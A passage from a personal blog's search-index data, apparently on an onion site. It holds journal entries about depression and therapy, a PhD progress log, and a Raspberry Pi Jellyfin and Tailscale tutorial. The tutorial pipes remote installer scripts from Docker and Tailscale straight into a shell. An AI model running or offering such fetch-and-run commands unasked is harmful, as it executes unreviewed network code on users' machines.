ANszhS/yDDQIQwXJcmpKVpRWqE/eLTJGKndCinUsUnTnJ30mtr0= =T3Em -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/2025_highlight.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/2025_highlight.md.asc gpg --verify 2025_highlight.md.asc 2025_highlight.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/2025_highlight/","summary":"\u003cp\u003eI just experienced my best two weeks of this cursed year. I went to 39c3 first, did 31.25h of Engel work, got to meet a bunch of extremely cool people, met the people I had made friends with from last year, and made new friends. No new contacts though. :)\nNot only I got to see a lot of cool people, computers, projects, but also I attended many many cool talks and learned a lot. I also participated in a challenge that after solving I got a T-Shirt for. I also got myself a T-Shirt for my Engel work.\u003c/p\u003e","title":"2025 Highlight"},{"content":"I have a strong hunch that I made it. I beat my MDD. I\u0026rsquo;m finally happy! I\u0026rsquo;m happy for being single, for being who I am, for doing what I do. I can cherish every moment of my life now.\nCurrently I\u0026rsquo;m sitting in Hamburg\u0026rsquo;s CCH, being an Angel in disguise. ;D\nI could not land myself any shifts before 1600, so I have to sit around and wait, and blog.\nI also want to talk about some random thing that happened yesterday. It was me and a colleague in office. I suspected he\u0026rsquo;s been wanting to talk to me about\u0026hellip; well\u0026hellip; something, but he was too cautious, as if I would screw him over? I have to clue to be honest. He insisted he had no idea I knew why he was saying that he was saying, but in the end I could see we both knew what we were talking about.\nHe kinda talked about my view on relationships and dating, the meaning behind it, and my future plans. He then told me to \u0026ldquo;give time to time\u0026rdquo;. So\u0026hellip; yea. Idk. She will probably talk to me about this as time goes on. I don\u0026rsquo;t want to feel anxious though, it should not matter what the outcome is. I should not count on anything, or start counting my chickens before they hatch.\nAnother funny thing that happened was that a friend of mine wanted to introduce a potential match, but then he kinda scewed away from it. I have no idea why, but since I tend to assume the worst in things, I should not thinnk about it.\nAs time goes by, and as I become more experienced, I feel more relieved.\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM jSr7aBAAgOSc2FBGLiHK\u0026#43;6odcxj1VJGnhkV2ibMv8M1e1v1qzIu8wpBBhOzP/XCm YQhFqtn6LIB2XWMnKjLagYTNgn8jWirAHC95QkoILsoAdShPvh57Tt\u0026#43;DKmZnHJlz siRwHqE/\u0026#43;peFHpqfjwUf7GLzF/AeiFD3Se3nSPjRe4olRiUDMMhPvNDBW1seQqKn y4CzVsjVClxVCyUf4b361F07\u0026#43;XuGv3kmKOnWTV3suLZykpWpxiQTRdq\u0026#43;jI7DBZKK ZKimruFbc7iYVaQOs0biNXL2MFn9JXEvqAApPkkJ85JfVwvhDieThu\u0026#43;sw0\u0026#43;EQoc0 riFVnb2\u0026#43;TK1OSkAu7w7HFLcUY0gGZ4\u0026#43;lrmTQDpsEO69xcFXMyZZQDW/B4qnj2qo0 kp267oEPRToficNjpTKu0VhKtEaDNh5JMasxSEdwzehNp6K1Hp6LdRiVPEArWnxZ jL35SgQzElB5ifYy3CYjTj2CA/qxC01OZrzoPbia9RLsdFBJEscYrSGBAqqRgZ/\u0026#43; KTK/nsubJQtXF0Ui7fCZS/Dv4iR3tH0hyDi\u0026#43;w\u0026#43;mYWRzzFq0jnQsBYYu3QmjuhU\u0026#43;V hfZHIYkH3yQV7k4XCa3wpMvnwC7I1od4ZmCjB98ITaz8U\u0026#43;BVHRT//Y2w6Xnd1OJi terYCiMGVC5sJzaUw8ZGfMf0l78J8X8B5KD\u0026#43;ZBtAs12NdekX/V4= =xRmw -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/seeing_the_light.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/seeing_the_light.md.asc gpg --verify seeing_the_light.md.asc seeing_the_light.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/seeing_the_light/","summary":"\u003cp\u003eI have a strong hunch that I made it. I beat my MDD. I\u0026rsquo;m finally happy! I\u0026rsquo;m happy for being single, for being who I am, for doing what I do. I can cherish every moment of my life now.\u003c/p\u003e\n\u003cp\u003eCurrently I\u0026rsquo;m sitting in Hamburg\u0026rsquo;s CCH, being an Angel in disguise. ;D\u003c/p\u003e\n\u003cp\u003eI could not land myself any shifts before 1600, so I have to sit around and wait, and blog.\u003c/p\u003e","title":"Seeing the \"Light\""},{"content":"Ok. Let me tell you the why first. So\u0026hellip;. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn\u0026rsquo;t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It\u0026rsquo;s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself \u0026ldquo;let\u0026rsquo;t message one of my two best friends\u0026rdquo;, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours.\nI wanted the kind of movie night where everyone presses play at the same moment, laughs at the same joke, and groans at the same plot twist—even when we’re scattered across different apartments and time zones. I also wanted it to be a little nerdy, a little elegant, and the kind of project that makes you feel like you own your gadgets again. Enter: a Raspberry Pi 4 (8GB), Jellyfin, and Tailscale.\nThis post is the “how it went” and the “how to do it” version. It’s written for the future-me who will forget everything the second it works, and for anyone who wants a private streaming setup without punching holes in their router for the entire internet to poke at.\nThe idea Jellyfin is the media server that turns your own movie files into a nice Netflix-like library. Tailscale is the secret tunnel that lets your friends reach your server as if they were sitting on your Wi‑Fi—without you exposing ports to the public internet. Docker is the little shipping container that keeps everything tidy and portable, which matters because I started on a microSD card and planned to move to an SSD later.\nThe trick to making a Raspberry Pi feel “fast enough” is to avoid video transcoding whenever possible. When Jellyfin can “direct play” a file, the Pi mostly just serves bytes. When it has to transcode, it suddenly feels like you asked a hamster to tow a car. So the theme of this build is compatibility: store media in formats that phones, browsers, and TVs can play directly.\nWhat you need My setup uses Ubuntu (64-bit is the long-term-friendly choice), a Raspberry Pi 4, a microSD card to get started, and eventually a USB 3 SSD for real “server vibes.” You’ll also want a folder of movies you’re allowed to stream to your friends. Streaming DRM content from Netflix or rental platforms through Jellyfin isn’t supported, and I’m intentionally keeping this firmly in the “your own files” lane.\nStep one: choose a home for your stuff Before installing anything, I picked paths that would survive my future SSD upgrade. The idea is simple: keep all persistent app data under one directory, keep all media under another directory, and let Docker mount those paths into containers.\nOn the Pi, I created a little directory neighborhood under /srv:\nsudo mkdir -p /srv/jellyfin/{config,cache} /srv/media /srv/compose/jellyfin sudo chown -R $USER:$USER /srv If you’re not ready to move movies into /srv/media yet, that’s okay. The important part is that you pick a place you can later mount your SSD onto without rewriting your whole setup.\nStep two: install Docker and start thinking in containers I installed Docker and verified that docker compose worked. After that, everything became a file called docker-compose.yml and the comforting feeling that I can rebuild my server from a single folder if life gets weird.\nA typical install flow on Raspberry Pi OS looks like this:\nsudo apt update sudo apt install -y ca-certificates curl curl -fsSL https://get.docker.com | sh sudo usermod -aG docker $USER newgrp docker docker --version docker compose version Now for the part that feels like summoning a friendly daemon.\nStep three: Jellyfin, running happily in Docker In /srv/compose/jellyfin/docker-compose.yml, I defined a Jellyfin service and mounted my config, cache, and media directories into it. The key mental shift is that Jellyfin can only see what you mount into the container. If you try to browse to /home/hub/Documents/movies from inside the Jellyfin UI and it looks like the folder doesn’t exist, it’s not being dramatic—it genuinely can’t see it. Containers are like that.\nHere’s a simple docker-compose.yml that works well on a Pi:\nservices: jellyfin: image: jellyfin/jellyfin:latest container_name: jellyfin user: \u0026#34;1000:1000\u0026#34; ports: - \u0026#34;8096:8096/tcp\u0026#34; - \u0026#34;7359:7359/udp\u0026#34; volumes: - /srv/jellyfin/config:/config - /srv/jellyfin/cache:/cache - /srv/media:/media restart: unless-stopped If your user isn’t UID 1000, check it with id -u and id -g, then update the user: line accordingly.\nI started Jellyfin like this:\ncd /srv/compose/jellyfin docker compose up -d After that, Jellyfin lived at http://\u0026lt;pi-lan-ip\u0026gt;:8096 on my home network, which is the most satisfying “it’s alive” moment of the whole build.\nStep four: Tailscale, the magic door for friends Now comes the part that makes everything feel effortless. Instead of forwarding ports, configuring certificates, and hoping I didn’t accidentally publish my server to the open ocean, I installed Tailscale on the Pi host.\ncurl -fsSL https://tailscale.com/install.sh | sh sudo tailscale up tailscale ip -4 That last command gives you a 100.x.y.z address. It’s your Pi’s Tailscale IP, and it’s the address your friends will use to reach Jellyfin. From anywhere, the server becomes:\nhttp://100.x.y.z:8096 Or if you enabled magicDNS:\nhttp://rpi:8096 The moment you can open that URL from your phone on mobile data and see your own server is the moment you start plotting your next homelab project.\nIf you want friends to access only this server and not everything else in your tailnet, Tailscale has a device sharing flow that’s perfect for “here’s the Pi, please don’t look in the rest of my digital house.”\nStep five: create a Jellyfin user for your friend Jellyfin accounts are local to your server. Your friend won’t “sign up” on some global Jellyfin site; instead, you create a user for them inside your Jellyfin admin dashboard. The nice part is that you can give them access only to the libraries you want, and you can keep admin permissions to yourself.\nIf typing passwords on a TV app makes you feel old instantly, Jellyfin’s Quick Connect feature can make logins much smoother. Your friend gets a short code on their device, you approve it from your logged-in browser, and nobody has to poke letters into a remote control one by one.\nStep six: the secret to a smooth Pi movie night is Direct Play A Raspberry Pi 4 is perfectly happy serving media files. It becomes less happy when it has to convert them on the fly. The goal is to store your library in a way that most clients can play without conversion.\nFor “plays on basically everything,” I like MP4 with H.264 video and AAC audio. When I inspected one of my files, I found H.264 video already, but the audio was AC3. AC3 is fine on some devices, but it’s not universal in browsers, and “my friend has no audio” is a movie-night mood killer.\nThe fix was to keep the video as-is and convert only the audio to AAC, which is much lighter than re-encoding the whole video. This command copies the H.264 video stream, converts audio to AAC stereo, and produces an MP4 that’s friendlier to phones and browsers:\nffmpeg -i \u0026#34;500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv\u0026#34; -map 0:v:0 -map 0:a:0 -c:v copy -c:a aac -b:a 384k -ac 2 -movflags +faststart \u0026#34;500.Days.of.Summer.2009.1080p.mp4\u0026#34; Subtitles deserve their own tiny cautionary tale. Some subtitle formats trigger transcoding because the client can’t render them natively and asks the server to burn them into the video. Text-based SRT subtitles are usually the easiest path. If your MKV contains an SRT track, you can extract it and keep it next to your MP4:\nffmpeg -i \u0026#34;500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv\u0026#34; -map 0:s:0 \u0026#34;500.Days.of.Summer.2009.1080p.srt\u0026#34; Once your friend is watching, you can confirm how Jellyfin is handling playback by checking the active session in the admin dashboard. Seeing “Direct Play” feels like winning.\nStep seven: SyncPlay, aka “we pressed play together” Jellyfin has SyncPlay for “group watch” nights, and it’s wonderfully simple when everyone is using compatible clients. In practice, the web client is an excellent baseline because it’s consistent and easy for friends. When we do movie night, we start a SyncPlay group, join it from each device, and keep a voice call open for commentary and laughter. It’s not complicated; it’s just… cozy.\nStarting on microSD, graduating to SSD later Yes, you can run all of this on microSD to begin with. It works. It also feels like using a napkin as a hard drive if you add heavy-write services later. My plan is to move the system to an SSD when convenient, because SSDs are faster and they handle constant writes far better than microSD cards.\nThe reason the /srv layout is so helpful is that migration becomes a simple copy-and-mount story. When the SSD arrives, you can copy /srv to the SSD, mount the SSD at /srv, reboot, and your containers will come back exactly as before. Docker will happily reuse the same volume paths; Jellyfin will happily reuse the same library; and you’ll feel like a wizard who planned ahead.\nWhere this goes next Once Jellyfin and Tailscale are stable, it’s easy to imagine the Pi doing more. Pi-hole is light and useful. A smart home hub is fun. Nextcloud is possible, especially with SSD storage and some attention to databases and caching. The practical advice I’m giving future-me is to add services one at a time and keep /srv as the center of gravity, because nothing ruins movie night like “I tweaked DNS and now nothing works.”\nFor now, though, this little Pi does the job: it hosts a library, it welcomes friends through a private tunnel, and it turns “let’s watch something” into a real shared moment—even when we’re not in the same room.\nHappy streaming.\nThe movie night went great, I even posted a BeReal on it. The choice of movie was not random either. I\u0026rsquo;ll write a review for it later on. It was just amazing.\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM jSrqzw/8Crod3Gm5xGMMrOtsoVm9NFwTAD7xdc8H5LcFC8P5OZmyEYBxF/SEHk6m TDhSyj6bNdShWIrzkKL0XHm6ntjhkBX4\u0026#43;dFzPbKjpHZ84on/xfNwIOh8br\u0026#43;WJEBF V3zCialBjjxxE37PVLkqsNVVtMgT2Wv5GnR7SWLKkovJWpIn/FP0gSsQFUIvRvdC Xhy3nvODqXZqfg77kKllmbkPI5ePkxl95CK9fd4yzhI13G41vveVO4dt2JhWVR6H dfRv6XG53WGP0nVWyEdHJjJhiT1JTd7//AD3DsRCTmBNyaxweRlPsvqqICquGx1U LGQ62y0oZL5WDqjiD7T2ZJAJ6sqr6NngFGjh7RaKOWDT1\u0026#43;8fTdXfQg/t91lTHVfh efVqOiH\u0026#43;B6SlzqPM4LgzRjf\u0026#43;36XdSu9R1w75sGykQpGRBfq2IymoM6RPQLEwgm3J haMjYRqx5jZSLj9FpjOZFYEuqYCa0ut0lUgY9BDHf0u8kKrW6OQZFVdhN31g\u0026#43;Lvf 5qjzC\u0026#43;ZzR4BLMpA4E33NKmYT4Rt1i5mSPiGY85yqhJdjFJRtPfXXf05\u0026#43;m7VGjRPp sWQmqO1o7cChFqVnF5IalDFCNIsGavBf8F0/7tu3y4bLIqoBMBfgIgg9KMORVHIn kqUsV4LpNgVWdTzp0QURkHUOL5uP72Jqa3ppVYEXlJQbhuLpCDY= =/K6E -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/boredom.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/boredom.md.asc gpg --verify boredom.md.asc boredom.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/boredom/","summary":"\u003cp\u003eOk. Let me tell you the why first. So\u0026hellip;. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn\u0026rsquo;t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It\u0026rsquo;s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself \u0026ldquo;let\u0026rsquo;t message one of my two best friends\u0026rdquo;, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours.\u003c/p\u003e","title":"Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4"},{"content":"This constant feeling of how people think about me, how they view me, what is happening with them is killing me. I\u0026rsquo;m interpretting every little move, every action, every response as me being in trouble. Not only is it exhausting, but also it\u0026rsquo;s draining me. Draining me of happiness, being in pursuit of happyness.\nIdk what is wrong with me. Idk why I can\u0026rsquo;t let go. I don\u0026rsquo;t know why I need so much closure. Idk. I really don\u0026rsquo;t. What I know is that I\u0026rsquo;m mentally dealing with too much. Too much for a little boy like me. Someone who got conditional love throughout his life. Someone who never experienced being loved. Someone who was trained to work hard to be loved. To sacrifice to be loved.\nThis \u0026ldquo;others\u0026rdquo; in my mind is killing me. It is so annoying to pursue people who do not give the slightest of shit about me. That has been me in the past many months. Ever since February 17th. That disgusting day. The day that was the result of last Friday of that Monday. The regrets. The sadness. The drainage.\nIdk what to do. I feel like I\u0026rsquo;m stuck in this life that I don\u0026rsquo;t like, with so much that I love. Does this even make sense? Idk. I know I\u0026rsquo;m full of love, and I\u0026rsquo;m willing to give it to someone.\nFew things lie. First, do I love myself? I want to say yes, but maybe the answer is no. I honestly don\u0026rsquo;t know if I\u0026rsquo;m lying to myself or not. Second, I know my therapist is worried for me. For how easy I can fall in the wrong people\u0026rsquo;s hand, and how badly I could get hurt.\nHe has been pushing me to solve the issue of others, and self love. To be fine with what I am, and what I have. To be fine with me. I need to work on this. I need to write more. To express myself more. Maybe I manage to figure things out that I would not otherwise. Who knows.\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM jSqEgw//dXtHJRA2465bo78N3Slu0EhJXFLkEItsdXbX8KVMOf3g0ezaBoCwtes8 fDfzb4IHfsPgFef48NApWevoXC6nvwW1jd1ad6USS07lCcX\u0026#43;PXQMo5buZy8lvT\u0026#43;n ozeDcN9Oul8t861nwbosGz8h3C6tWAilHxa3tKnTrlNs9RgcZXlE1yABUD8mO1xv xHDoU5bYOwk7QvnxN83s4AXofVXOQfolxWrfH0zCCOxb5VauqPQxjKUHzx932MLG m2F\u0026#43;aoxxgva28PxwvJp\u0026#43;yziid96fM8Y9nRaUWgusaAUrca1/GmmikfQJ2xe06G3n bJePNiNU5SP49lvNzGfKKv8l07XfgOyksm4x55OYUh1e3i0ZlK00ULwu2yZr0dlO tyfP3IqyeXJfiMtZznR9gVfrU8kuzwEoGy25rcAHuLmfuaGhAVCTFT\u0026#43;dSrD6Ls0d T6baPwZTDnCz6dOvZB8g8jq5V2RsI9\u0026#43;FAe5FZSQzZ/iV0JMLHwB5eYwcWiWlJL7n \u0026#43;J69MpQMCOh\u0026#43;S46y6YjNnK/gOCsMddTnN1cu9edWuoicNnM7ODn8w948fqMcv8yz Ek0xuaY\u0026#43;o6luI4HoNKncCAgPmSvH6/Xjvt5qsqqBMlkBRFY8/bWW\u0026#43;7o9LB7VwLex Bsy6Od/KW0X78XG0n1JnAw\u0026#43;kVQoaYWTWbXBV3CJ8n8dUaQn\u0026#43;ctw= =NPxh -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/how_I_am_doing.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/how_I_am_doing.md.asc gpg --verify how_I_am_doing.md.asc how_I_am_doing.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/how_i_am_doing/","summary":"\u003cp\u003eThis constant feeling of how people think about me, how they view me, what is happening with them is killing me.\nI\u0026rsquo;m interpretting every little move, every action, every response as me being in trouble.\nNot only is it exhausting, but also it\u0026rsquo;s draining me.\nDraining me of happiness, being in pursuit of happyness.\u003c/p\u003e\n\u003cp\u003eIdk what is wrong with me. Idk why I can\u0026rsquo;t let go. I don\u0026rsquo;t know why I need so much closure. Idk. I really don\u0026rsquo;t.\nWhat I know is that I\u0026rsquo;m mentally dealing with too much. Too much for a little boy like me. Someone who got conditional love throughout his life.\nSomeone who never experienced being loved. Someone who was trained to work hard to be loved. To sacrifice to be loved.\u003c/p\u003e","title":"How am I doing?"},{"content":"I was watching this video the other day. It\u0026rsquo;s an interesting video imo. This is something I\u0026rsquo;ve been also dealing in my therapy sessions lately too. Why am I the way I am? Why do I case so much about what others think? Why do I keep giving my best to them, though they literally do not give the slightest of shit about me unless they need something from me?\nFunnily enough, my therapist believes I do this as a survival mechanism. That it all comes from my childhood. Being born in a family with a high achiever dad, and brother, and being pushed to become better. Being compared to whoever was better than me in any regards all the time. The toxicity of this stayed with me throughout my life. I had to always be the best. I had to always try harder. I had to earn other\u0026rsquo;s respect. Naturally that evolved into me becoming a people please. A so called \u0026ldquo;nice person\u0026rdquo;. I\u0026rsquo;ve even been made fun of with those words.\nAll of it for earning the validation I never received for being myself as a kid. All of it for receiving conditional love. And now I\u0026rsquo;m broken. When people act cold with me, I assume they don\u0026rsquo;t like me. Then I want to fix things. Then I become annoying. I look like an \u0026ldquo;anxiously attached\u0026rdquo; person.\nBut then there is a big part of me that wants to keep doing this. The problem is the second part. The part where I expect validation, but conditional validation. It\u0026rsquo;s sad, and it\u0026rsquo;s eating at my everything. I feel exhausted. I feel tired. I feel like every connection of mine is breaking apart. Connections I worked so hard to form. People I tried so hard to please.\nSo\u0026hellip; I made a decision. To stay away from everyone. To make distance.\nThe doubt came in quickly. I became scared that I might lose my connections, the connections I truly adore, the connections I don\u0026rsquo;t want to lose. But it\u0026rsquo;s part of the healing process. I need to be able to create distance, and set boundries without fear of being abandoned. And if along the way I lose some people, maybe they were never really my friends in the first place?\nThe part I\u0026rsquo;m making mistake in is that everyone thinks something bad has happened. And they \u0026ldquo;probably\u0026rdquo; expect me to talk to them about it. Now this is the part I had to work on. The \u0026ldquo;setting boundry\u0026rdquo; part. I don\u0026rsquo;t know if I can do it respectfully or not. I know I will break if I talk.\nI don\u0026rsquo;t really like to stay away from people, to push my friends away. But for now, I have to. I hope I won\u0026rsquo;t regret any of these actions. I hope I can heal. I don\u0026rsquo;t know what will happen next, I just know that I don\u0026rsquo;t want to hangout in large groups for a while. I don\u0026rsquo;t want to be happy. I want to mourn. I need to mourn. I hope I heal. I hope I won\u0026rsquo;t turn into an incel. I know I won\u0026rsquo;t. I know I push through. I know\u0026hellip;\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbusACgkQtYgoUOBM jSpGcg/\u0026#43;O/7gsSe5s82yq4fSOU0rrioTf3\u0026#43;LMkSl7ceo\u0026#43;gPJlW4CiGfkvYqQ2Gvo 7IFLlxYoThRgcQ02jJxDA6dm8Uqy9566I6yBhi4Prn2EDIH0GKOjCrbSak9HGPE2 HtL9BrHaU\u0026#43;kAbeh03Pr1RJ1jH/LDqDRTbrV6jZzN7bnCut4cPwW3ItX69VobFq2/ v\u0026#43;mJtSU6DTllTVJFomaDx0K8fX1hmLDHfgGT/UEGdWj/Zx6RFCBU3195GThm\u0026#43;3Gv Dg5fX1vj9ZEtNMr1T\u0026#43;lWEfpeECqa04c4wRxkXEIrS2DcLnz7gCl49can0nGVehJr vyx4WJ2eeG\u0026#43;spDG8cYPK9nTGu7xrsw5TxmPjkGbMe7A6lOtedbsCuJeyx8YWFk3c \u0026#43;O0170uxBWoAF2ugA986PZ13eUU6F9BxXzj\u0026#43;bQV72LdqL6eszUFyeuhxHuMs0Q9s EjrKVkFsHZaMuc1r2mcYRZG\u0026#43;BkgyELZiyBnToNj6IRwmno6XwGpjfEb9PJ/MZ\u0026#43;sf OLQReEoQRCf5Xaj3ZACRq7zk8UCHpu22MkyNMLd97YSuRGu7JyD/88OHigakjmdJ oCML5WEG\u0026#43;9/EIcEfSj\u0026#43;GdUA5fEdzXB/FJ2SoUHzQQWiFtxUqKKCPlvM3rqCfwsLE CIQBkMt8eJ7gUq\u0026#43;xQAg\u0026#43;BosLLMl1PgCQCOMml0omPyDv36vbnos= =oJ5s -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/setting_boundries.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/setting_boundries.md.asc gpg --verify setting_boundries.md.asc setting_boundries.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/setting_boundries/","summary":"\u003cp\u003eI was watching \u003ca href=\"https://www.youtube.com/watch?v=MQzDMkeSzpw\"\u003ethis video\u003c/a\u003e the other day. It\u0026rsquo;s an interesting video imo. This is something I\u0026rsquo;ve been also dealing in my therapy sessions lately too. Why am I the way I am? Why do I case so much about what others think? Why do I keep giving my best to them, though they literally do not give the slightest of shit about me unless they need something from me?\u003c/p\u003e\n\u003cp\u003eFunnily enough, my therapist believes I do this as a survival mechanism. That it all comes from my childhood. Being born in a family with a high achiever dad, and brother, and being pushed to become better. Being compared to whoever was better than me in any regards all the time. The toxicity of this stayed with me throughout my life. I had to always be the best. I had to always try harder. I had to earn other\u0026rsquo;s respect. Naturally that evolved into me becoming a people please. A so called \u0026ldquo;nice person\u0026rdquo;. I\u0026rsquo;ve even been made fun of with those words.\u003c/p\u003e","title":"Setting Boundries"},{"content":"4th Again, let\u0026rsquo;s setup some goals for the month.\nLiterature review Keeping up with my coursework Working on my codebase Getting healthier diet and excercise-wise 30th I did a bit of literature review, it\u0026rsquo;s still lacking unfortunately.\nCoursework is ok-ish. I\u0026rsquo;ve been trying to work on assignements and understand them.\nI rewrote the whole codebase, now we have a modularized design that should be easier to add to.\nI\u0026rsquo;ve been eating more and more healthy, excercise is still lacking. I\u0026rsquo;ll get to that later.\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt0ACgkQtYgoUOBM jSp\u0026#43;yw/9Fr8915ynwUw1iwRRONv5U0/JIYcvwbBZhGA4ylatwUpcqkvm3dRWZkcp HpxKAL8RPCyAZuqtMZel63BpjhWPfImHUA7/4h7CbGN//zJNLaKlL\u0026#43;93WUlDzrbB A2D1JZvMl6dPC65IXzRMMPnaL1lM6Ka7dNMN2KyT/L3VUsp6uxXk8Dxueu\u0026#43;kpPgk \u0026#43;w1DkW\u0026#43;BryX2efPfc7kG3kI7C0ui4LxoHwphfMulqnVlHlrG67\u0026#43;nqQXzMG0MGbHu j3kjROJAv65K\u0026#43;g7uxWgwYYorxX5yoC2dZZAYt226V8nIw4KPksyzqGv22d2h7AzP CzxTYpLlhLW\u0026#43;2yb9TKlg8uVi0QCg\u0026#43;akbaEbU2k6RC7\u0026#43;oFA14/1teE6MgCXwCx3Nz mP7SndZoR\u0026#43;fP7uignlO4v0UdmiFsbUQNRap/TnebCkz/PUX2xMIXPOZWyzKSvpgb CIRPuOyWo13SrZxPEArrLOA3tGERPqp\u0026#43;oRiKN8gX37ph2dQzeg8o5WR/2vz2Cc64 P9zEum8wZdV6dKaqkkAaGjWvDrkTLiobXvjwvP4tfH8TM/B4BYm0RmKRK1vJGsUm Hu4ukK7mGkQWYoL3mCBnlsaT9zoJJmuHxyUBj3iHj7y6t2eu7oQQLBgS9M1F0El8 1ZmGjhVLJAB9bQyxAMwOBd6EBUC\u0026#43;Y/sFcTSViytTtFUn\u0026#43;NA1MUo= =F8i0 -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/November_2025.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/November_2025.md.asc gpg --verify November_2025.md.asc November_2025.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/november_2025/","summary":"\u003ch1 id=\"4th\"\u003e4th\u003c/h1\u003e\n\u003cp\u003eAgain, let\u0026rsquo;s setup some goals for the month.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eLiterature review\u003c/li\u003e\n\u003cli\u003eKeeping up with my coursework\u003c/li\u003e\n\u003cli\u003eWorking on my codebase\u003c/li\u003e\n\u003cli\u003eGetting healthier diet and excercise-wise\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"30th\"\u003e30th\u003c/h1\u003e\n\u003cp\u003eI did a bit of literature review, it\u0026rsquo;s still lacking unfortunately.\u003c/p\u003e\n\u003cp\u003eCoursework is ok-ish. I\u0026rsquo;ve been trying to work on assignements and understand them.\u003c/p\u003e\n\u003cp\u003eI rewrote the whole codebase, now we have a modularized design that should be easier to add to.\u003c/p\u003e\n\u003cp\u003eI\u0026rsquo;ve been eating more and more healthy, excercise is still lacking. I\u0026rsquo;ll get to that later.\u003c/p\u003e","title":"November '25"},{"content":"The Day My Wi-Fi Said “Eight Is Enough” My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own.\nThis post is everything I did—no corporate firewall access, no exotic gear—just a Pi, a USB Wi-Fi adapter, and a little patience.\nHardware: what I picked and why Raspberry Pi 4 (4GB)\nIt has enough CPU to route/NAT comfortably, USB 3 for fast Wi-Fi dongles, and solid Linux support. A Pi 3 works in a pinch, but the 4 stays cooler and handles bursts better.\nALFA AWUS036ACHM (USB Wi-Fi)\nReliable, AP-mode friendly on Linux, and happy with hostapd. I used it to broadcast my IoT network (2.4 GHz, 20 MHz channel) while the Pi’s built-in Wi-Fi connects upstream. For better range, use a short USB 3 extension so the antenna sits away from the Pi (USB 3 noise can hurt 2.4 GHz).\nFast USB-C power supply (official Pi 4 or 5V/3A equivalent)\nWi-Fi spikes current draw; brown-outs cause random gremlins.\n16–32 